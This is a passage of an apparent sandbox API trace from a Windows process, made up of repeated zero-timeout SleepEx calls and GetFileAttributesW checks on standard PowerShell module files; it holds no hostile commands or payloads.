(dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0242.651] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0242.750] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0242.875] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0243.031] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0243.209] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0243.344] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0243.595] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0243.740] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0243.844] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0243.893] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0243.968] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0244.141] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0244.281] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0244.406] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0244.563] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0244.691] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0244.822] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0244.922] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0245.031] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0245.217] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0245.339] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0245.418] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0245.698] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0245.797] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0245.876] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0246.002] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0246.096] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0246.161] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0246.268] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0246.391] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0246.491] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0246.536] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0251.985] QueryUnbiasedInterruptTime (in: UnbiasedTime=0x7aef868 | out: UnbiasedTime=0x7aef868) returned 1 [0251.993] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\packagemanagement\\1.0.0.1\\packagemanagement.psd1")) returned 0x20 [0251.993] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PnpDevice\\PnpDevice.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\pnpdevice\\pnpdevice.psd1")) returned 0x20 [0252.069] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\VpnClient\\VpnClient.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\vpnclient\\vpnclient.psd1")) returned 0x20 [0252.122] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSScheduledJob\\PSScheduledJob.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\psscheduledjob\\psscheduledjob.psd1")) returned 0x20 [0252.122] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSDesiredStateConfiguration\\PSDesiredStateConfiguration.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\psdesiredstateconfiguration\\psdesiredstateconfiguration.psd1")) returned 0x20 [0252.135] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\WindowsErrorReporting\\WindowsErrorReporting.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\windowserrorreporting\\windowserrorreporting.psd1")) returned 0x20 [0252.135] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\CimCmdlets\\CimCmdlets.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\cimcmdlets\\cimcmdlets.psd1")) returned 0x20 [0252.136] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\MsDtc\\MsDtc.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\msdtc\\msdtc.psd1")) returned 0x20 [0252.139] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetTCPIP\\NetTCPIP.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\nettcpip\\nettcpip.psd1")) returned 0x20 [0252.142] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\ISE\\ISE.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\ise\\ise.psd1")) returned 0x20 [0252.143] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PSReadline\\1.1\\PSReadline.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\psreadline\\1.1\\psreadline.psd1")) returned 0x20 [0252.143] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\BranchCache\\BranchCache.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\branchcache\\branchcache.psd1")) returned 0x20 [0252.145] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Diagnostics\\Microsoft.PowerShell.Diagnostics.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.diagnostics\\microsoft.powershell.diagnostics.psd1")) returned 0x20 [0252.146] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Storage\\Storage.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\storage\\storage.psd1")) returned 0x20 [0252.148] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetQos\\NetQos.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\netqos\\netqos.psd1")) returned 0x20 [0252.149] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetAdapter\\NetAdapter.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\netadapter\\netadapter.psd1")) returned 0x20 [0252.151] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\DirectAccessClientComponents\\DirectAccessClientComponents.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\directaccessclientcomponents\\directaccessclientcomponents.psd1")) returned 0x20 [0252.154] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\WindowsUpdate\\WindowsUpdate.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\windowsupdate\\windowsupdate.psd1")) returned 0x20 [0252.155] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetworkTransition\\NetworkTransition.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\networktransition\\networktransition.psd1")) returned 0x20 [0252.161] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Pester.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\3.4.0\\pester.psd1")) returned 0x20 [0252.161] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\ScheduledTasks\\ScheduledTasks.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\scheduledtasks\\scheduledtasks.psd1")) returned 0x20 [0252.164] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetConnection\\NetConnection.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\netconnection\\netconnection.psd1")) returned 0x20 [0252.166] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\iSCSI\\iSCSI.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\iscsi\\iscsi.psd1")) returned 0x20 [0252.167] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetworkConnectivityStatus\\NetworkConnectivityStatus.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\networkconnectivitystatus\\networkconnectivitystatus.psd1")) returned 0x20 [0252.169] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Pester.psm1" (normalized: "c:\\program files\\windowspowershell\\modules\\pester\\3.3.5\\pester.psm1")) returned 0x20 [0252.171] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetSwitchTeam\\NetSwitchTeam.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\netswitchteam\\netswitchteam.psd1")) returned 0x20 [0252.173] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Microsoft.PowerShell.Operation.Validation.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\microsoft.powershell.operation.validation\\1.0.1\\microsoft.powershell.operation.validation.psd1")) returned 0x20 [0252.173] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Pester.psm1" (normalized: "c:\\program files\\windowspowershell\\modules\\pester\\3.4.0\\pester.psm1")) returned 0x20 [0252.174] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetLbfo\\NetLbfo.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\netlbfo\\netlbfo.psd1")) returned 0x20 [0252.176] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\TLS\\TLS.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\tls\\tls.psd1")) returned 0x20 [0252.177] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSDiagnostics\\PSDiagnostics.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\psdiagnostics\\psdiagnostics.psd1")) returned 0x20 [0252.178] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PSModule.psm1" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget\\1.0.0.1\\psmodule.psm1")) returned 0x20 [0252.288] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Pester.psm1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\3.4.0\\pester.psm1")) returned 0x20 [0252.289] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\AppLocker\\AppLocker.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\applocker\\applocker.psd1")) returned 0x20 [0252.290] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Microsoft.PowerShell.Operation.Validation.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\microsoft.powershell.operation.validation\\1.0.1\\microsoft.powershell.operation.validation.psd1")) returned 0x20 [0252.290] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\TrustedPlatformModule\\TrustedPlatformModule.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\trustedplatformmodule\\trustedplatformmodule.psd1")) returned 0x20 [0252.291] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\TroubleshootingPack\\TroubleshootingPack.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\troubleshootingpack\\troubleshootingpack.psd1")) returned 0x20 [0252.291] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\UEV\\UEV.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\uev\\uev.psd1")) returned 0x20 [0252.291] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.ODataUtils\\Microsoft.PowerShell.ODataUtils.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.odatautils\\microsoft.powershell.odatautils.psd1")) returned 0x20 [0252.294] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\EventTracingManagement\\EventTracingManagement.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\eventtracingmanagement\\eventtracingmanagement.psd1")) returned 0x20 [0252.297] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Pester.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\3.3.5\\pester.psd1")) returned 0x20 [0252.297] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Dism\\Dism.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\dism\\dism.psd1")) returned 0x20 [0252.297] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Security\\Microsoft.PowerShell.Security.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.security\\microsoft.powershell.security.psd1")) returned 0x20 [0252.298] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget\\1.0.0.1\\powershellget.psd1")) returned 0x20 [0252.298] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\WindowsDeveloperLicense\\WindowsDeveloperLicense.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\windowsdeveloperlicense\\windowsdeveloperlicense.psd1")) returned 0x20 [0252.298] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Wdac\\Wdac.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\wdac\\wdac.psd1")) returned 0x20 [0252.301] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\AppvClient\\AppvClient.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\appvclient\\appvclient.psd1")) returned 0x20 [0252.303] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetSecurity\\NetSecurity.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\netsecurity\\netsecurity.psd1")) returned 0x20 [0252.306] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Pester.psm1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\3.3.5\\pester.psm1")) returned 0x20 [0252.306] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.management\\microsoft.powershell.management.psd1")) returned 0x20 [0252.306] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PSModule.psm1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\1.0.0.1\\psmodule.psm1")) returned 0x20 [0252.306] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Host\\Microsoft.PowerShell.Host.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.host\\microsoft.powershell.host.psd1")) returned 0x20 [0252.307] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetNat\\NetNat.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\netnat\\netnat.psd1")) returned 0x20 [0252.309] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PSReadline\\1.2\\PSReadline.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\psreadline\\1.2\\psreadline.psd1")) returned 0x20 [0252.309] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PSReadline\\1.2\\PSReadLine.psm1" (normalized: "c:\\program files\\windowspowershell\\modules\\psreadline\\1.2\\psreadline.psm1")) returned 0x20 [0252.310] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PSReadline\\1.1\\PSReadLine.psm1" (normalized: "c:\\program files\\windowspowershell\\modules\\psreadline\\1.1\\psreadline.psm1")) returned 0x20 [0252.311] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\packagemanagement\\1.0.0.1\\packagemanagement.psd1")) returned 0x20 [0252.311] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PrintManagement\\PrintManagement.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\printmanagement\\printmanagement.psd1")) returned 0x20 [0252.313] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\DnsClient\\DnsClient.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\dnsclient\\dnsclient.psd1")) returned 0x20 [0252.315] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Appx\\Appx.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\appx\\appx.psd1")) returned 0x20 [0252.315] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Pester.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\pester\\3.3.5\\pester.psd1")) returned 0x20 [0252.316] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Pester.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\pester\\3.4.0\\pester.psd1")) returned 0x20 [0252.316] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetEventPacketCapture\\NetEventPacketCapture.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\neteventpacketcapture\\neteventpacketcapture.psd1")) returned 0x20 [0252.317] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\BitsTransfer\\BitsTransfer.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\bitstransfer\\bitstransfer.psd1")) returned 0x20 [0252.318] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PKI\\PKI.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\pki\\pki.psd1")) returned 0x20 [0252.318] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.WSMan.Management\\Microsoft.WSMan.Management.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.wsman.management\\microsoft.wsman.management.psd1")) returned 0x20 [0252.319] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\International\\International.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\international\\international.psd1")) returned 0x20 [0252.319] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Kds\\Kds.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\kds\\kds.psd1")) returned 0x20 [0252.320] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\WindowsErrorReporting\\WindowsErrorReporting.psm1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\windowserrorreporting\\windowserrorreporting.psm1")) returned 0x20 [0252.320] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\1.0.0.1\\powershellget.psd1")) returned 0x20 [0252.321] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psd1")) returned 0x20 [0252.321] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Archive\\Microsoft.PowerShell.Archive.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.archive\\microsoft.powershell.archive.psd1")) returned 0x20 [0252.321] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\SecureBoot\\SecureBoot.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\secureboot\\secureboot.psd1")) returned 0x20 [0252.323] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0252.453] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0252.570] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0252.693] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0252.786] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0252.876] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0252.969] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0253.064] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0253.314] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0253.409] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0253.501] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0253.594] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0253.689] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0253.782] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0253.876] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0253.970] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0254.064] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0254.270] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0254.363] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0254.459] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0254.548] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0254.651] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0254.736] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0254.829] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0254.923] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0255.016] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0255.090] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0255.130] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0255.329] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0255.407] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0255.455] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0255.735] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0255.782] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0255.862] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0255.908] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0255.955] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0256.004] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0256.047] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0256.106] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0256.141] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0256.188] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0256.235] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0256.327] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0256.463] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0256.503] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0257.522] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0257.581] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0257.628] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0257.939] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0258.473] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0271.482] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0271.579] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0271.634] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0271.676] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0271.751] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0271.984] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0272.084] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0272.157] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0272.250] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0272.346] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0272.515] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0272.628] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0272.719] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0272.817] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0273.052] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0273.143] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0273.227] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0273.267] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0273.345] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0273.452] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0273.548] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0273.630] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0273.735] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0273.829] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0274.016] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0274.112] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0274.204] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0274.282] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0274.375] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0274.472] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0274.563] SleepEx 